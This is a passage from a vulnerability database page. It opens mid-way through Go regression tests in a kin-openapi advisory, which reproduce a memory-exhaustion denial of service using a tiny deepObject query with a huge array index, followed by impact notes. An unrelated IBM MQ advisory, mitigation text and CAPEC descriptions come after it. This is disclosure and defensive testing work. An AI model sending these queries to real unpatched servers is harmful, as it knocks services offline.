(\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\tfn()\n\truntime.ReadMemStats(\u0026after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a\u0026param[items][1]=b\u0026param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 \u003c\u003c 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc \u003e worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -\u003e %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32\u003c\u003c20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /b:\n post:\n requestBody:\n content:\n application/json:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n multipart/form-data:\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4\u003c\u003c20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4\u003c\u003c20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4\u003c\u003c20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /p/{param}:\n get:\n parameters:\n - name: param\n in: path\n required: true\n style: simple\n explode: false\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4\u003c\u003c20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b \u003c unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n \u003e= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 \u2192 937.5 KiB through 50,000,000 \u2192 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired \u2014 both matching the standalone PoC\u0027s findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21\u201324 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery \u2014 the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB\u20132 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).",
"id": "GHSA-xhj3-7xw9-vr34",
"modified": "2026-08-21T20:56:56Z",
"published": "2026-08-21T20:56:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.142.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding"
}
GHSA-XHM5-VCJW-G9VF
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2022-05-24 16:54
VLAI
Details
IBM MQ 9.1.0.0, 9.1.0.1, 9.1.1, and 9.1.0.2 is vulnerable to a denial of service due to a local user being able to fill up the disk space of the underlying filesystem using the error logging service. IBM X-Force ID: 156398.
{
"affected": [],
"aliases": [
"CVE-2019-4049"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-20T19:15:00Z",
"severity": "MODERATE"
},
"details": "IBM MQ 9.1.0.0, 9.1.0.1, 9.1.1, and 9.1.0.2 is vulnerable to a denial of service due to a local user being able to fill up the disk space of the underlying filesystem using the error logging service. IBM X-Force ID: 156398.",
"id": "GHSA-xhm5-vcjw-g9vf",
"modified": "2022-05-24T16:54:07Z",
"published": "2022-05-24T16:54:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4049"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/156398"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/docview.wss?uid=ibm10870490"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
Architecture and Design
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Implementation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.